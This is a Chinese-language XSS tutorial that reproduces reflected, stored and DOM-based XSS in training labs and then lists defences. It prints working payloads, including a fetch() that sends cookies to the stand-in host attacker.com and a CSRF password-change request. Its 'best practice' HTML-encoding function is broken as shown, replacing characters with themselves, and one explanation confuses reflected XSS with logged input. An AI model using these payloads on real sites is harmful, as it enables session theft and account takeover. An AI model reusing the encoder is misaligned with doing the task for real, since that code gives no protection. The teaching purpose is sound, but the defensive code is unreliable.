XSS攻防实战笔记：从反射、存储到DOM型的漏洞原理与靶场复现
1. XSS漏洞初探：当输入框变成攻击入口
第一次接触XSS漏洞时，我盯着那个普通的搜索框看了很久——谁能想到这个每天都要打交道的网页元素，竟然能成为黑客的攻击入口？记得当时我在一个测试网站上随手输入<script>alert('嘿，你被XSS了！')</script>，按下回车键的瞬间，那个弹出的警告框让我后背一凉。这就是跨站脚本攻击（Cross-Site Scripting）最直观的体现：攻击者通过注入恶意脚本，让受害者的浏览器执行不该执行的代码。
XSS之所以危险，是因为它利用了网站对用户输入的过度信任。现代网站需要与用户频繁交互，搜索框、评论区、个人资料编辑，这些地方都需要接收用户输入并展示出来。如果开发者没有做好防护，攻击者就能在这些"输入-输出"的环节中插入恶意代码。最常见的三类XSS是反射型、存储型和DOM型，它们的攻击路径和危害程度各不相同。
举个例子，去年某知名论坛的存储型XSS漏洞导致上万用户信息泄露。攻击者在个人简介字段插入恶意脚本，每当其他用户查看他的资料时，脚本就会悄悄把用户的cookie发送到攻击者服务器。这个案例让我意识到，XSS绝不只是弹个警告框那么简单，它可能成为大规模数据泄露的入口。
2. 反射型XSS：钓鱼链接里的陷阱
2.1 原理剖析：一闪而过的恶意
反射型XSS就像网络世界的"一次性武器"，攻击者需要精心构造一个恶意链接，诱骗受害者点击。当受害者打开链接时，服务器会将恶意脚本"反射"回浏览器执行。我在本地靶场测试时，构造了这样一个URL：
http://vulnerable-site.com/search?q=<script>alert(document.cookie)</script>当管理员查看搜索日志时，他的会话cookie就会通过alert弹窗显示出来。虽然这个例子很简单，但实际攻击中，攻击者会用更隐蔽的方式窃取数据。
反射型XSS有两个关键特点：首先，恶意脚本不会存储在服务器上，而是通过URL参数传递；其次，需要用户交互（点击链接）才能触发。这使它成为网络钓鱼的完美搭档。我曾见过攻击者将恶意链接伪装成"工资单查询"、"会议通知"等正常邮件，诱导企业员工点击。
2.2 靶场实战：从发现到利用
在DVWA（Damn Vulnerable Web Application）靶场中复现反射型XSS特别有教育意义。设置安全级别为low后，我在搜索框输入测试payload：
<img src="x" onerror="alert('XSS')">页面立即弹窗，说明存在漏洞。进阶测试时，我会用Burp Suite拦截请求，修改参数值插入更复杂的脚本。比如：
<script> fetch('http://attacker.com/steal?cookie='+document.cookie) </script>这个脚本会悄悄把用户cookie发送到攻击者控制的服务器。防御这类攻击，关键在于对所有URL参数进行严格的输出编码。
3. 存储型XSS：潜伏在数据库里的定时炸弹
3.1 持久化攻击的危害
如果说反射型XSS是"一次性武器"，那存储型XSS就是埋在网站里的"地雷"。我在测试某开源论坛系统时，发现它的评论区没有过滤HTML标签。于是发布了一条看似普通的评论：
<iframe src="javascript:alert('XSS')">此后每个访问该页面的用户都会触发这个恶意脚本。更可怕的是，即使用户注销再登录，攻击依然有效，因为恶意代码已经永久存储在服务器数据库里。
存储型XSS常见于以下场景：
- 用户评论/留言系统
- 商品评价区域
- 论坛帖子内容
- 客服聊天记录
- 用户昵称或个人简介
去年某电商平台就因商品评价区的存储型XSS漏洞，导致攻击者能窃取所有查看商品详情页用户的支付信息。这个案例让我在开发中格外注意所有用户生成内容(UGC)的过滤。
3.2 靶场复现：从注入到防御
在OWASP Juice Shop靶场中，我通过以下步骤复现存储型XSS：
- 找到商品评价功能点
- 提交包含恶意脚本的评价：
<svg onload="alert('XSS')">- 刷新页面后发现脚本持续执行
防御存储型XSS需要多层防护：
- 输入过滤：移除或转义特殊字符
- 输出编码：根据输出上下文(HTML/JS/URL)使用不同编码
- 内容安全策略(CSP)：限制脚本执行来源
- HttpOnly标记：防止通过JavaScript访问cookie
4. DOM型XSS：客户端渲染的暗礁
4.1 不经过服务器的攻击
DOM型XSS是最容易被忽视的类型，因为它完全在客户端发生，不经过服务器处理。我在审计某SPA(Single Page Application)网站时发现一个典型案例。网站通过以下方式获取并显示URL中的用户名：
let username = window.location.hash.substr(1); document.getElementById('welcome').innerHTML = "欢迎, " + username;攻击者只需构造这样的URL：
http://victim-site.com#<img src=x onerror=alert(1)>当用户访问时，恶意代码就会被执行。这种攻击特别危险，因为传统WAF无法检测到，恶意payload根本不会发送到服务器。
4.2 靶场演练：解剖DOM操作
在PortSwigger的DOM-XSS靶场中，我通过开发者工具逐步调试JavaScript执行流程：
- 发现页面使用以下代码处理URL参数：
let search = document.location.search; let params = new URLSearchParams(search); let keyword = params.get('search'); document.write('搜索结果：' + keyword);- 构造恶意URL：
http://target.com?search=<script>alert(1)</script>- 观察document.write如何将未转义的内容写入DOM
防御DOM型XSS需要：
- 避免使用危险的DOM操作方法如innerHTML、document.write
- 对动态内容使用textContent而非innerHTML
- 使用DOMPurify等库净化HTML内容
- 实施严格的CSP策略
5. 组合拳攻击：XSS的高级利用
5.1 突破同源策略
单纯的XSS弹窗演示虽然直观，但实际攻击往往更复杂。我曾在渗透测试中结合XSS和CSRF漏洞，实现了对目标系统的完全控制。攻击流程如下：
- 通过存储型XSS注入恶意脚本
- 脚本在受害者浏览器中执行，构造CSRF请求
- 利用受害者权限修改账户设置
- 最终获取系统管理员权限
这个案例中使用的关键payload如下：
fetch('/admin/change-password', { method: 'POST', body: 'newpass=attacker123' });5.2 实际案例分析
某次真实渗透测试中，我发现目标网站存在DOM型XSS漏洞，但常规payload被过滤。通过分析前端代码，发现网站使用jQuery的$()方法插入动态内容。于是构造了这样的攻击：
$(window).on('hashchange', function(){ eval(location.hash.slice(1)); });然后通过URL传递恶意代码：
http://victim.com#alert(document.cookie)这个案例教会我，理解前端框架的工作原理对发现高级XSS漏洞至关重要。
6. 防御之道：从开发到运维的全方位防护
6.1 开发阶段的最佳实践
经过多次XSS攻防实战，我总结出以下防御方案：
- 输入验证：
// 白名单过滤示例 function sanitize(input) { return input.replace(/[^a-zA-Z0-9-_]/g, ''); }- 上下文感知的输出编码：
// HTML实体编码 function encodeHTML(str) { return str.replace(/&/g,'&') .replace(/</g,'<') .replace(/>/g,'>'); }- 安全框架使用：
- 前端：DOMPurify、sanitize-html
- 后端：OWASP ESAPI、Spring Security
6.2 运维层面的加固措施
除了开发时的防护，运维配置也至关重要：
- 内容安全策略(CSP)配置示例：
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; img-src *; style-src 'self' 'unsafe-inline';- 其他HTTP安全头：
X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff在多次渗透测试中，我发现即使应用层防护存在缺陷，严格的CSP策略也能有效阻止大多数XSS攻击的成功执行。这提醒我们防御需要多层次、纵深化的策略。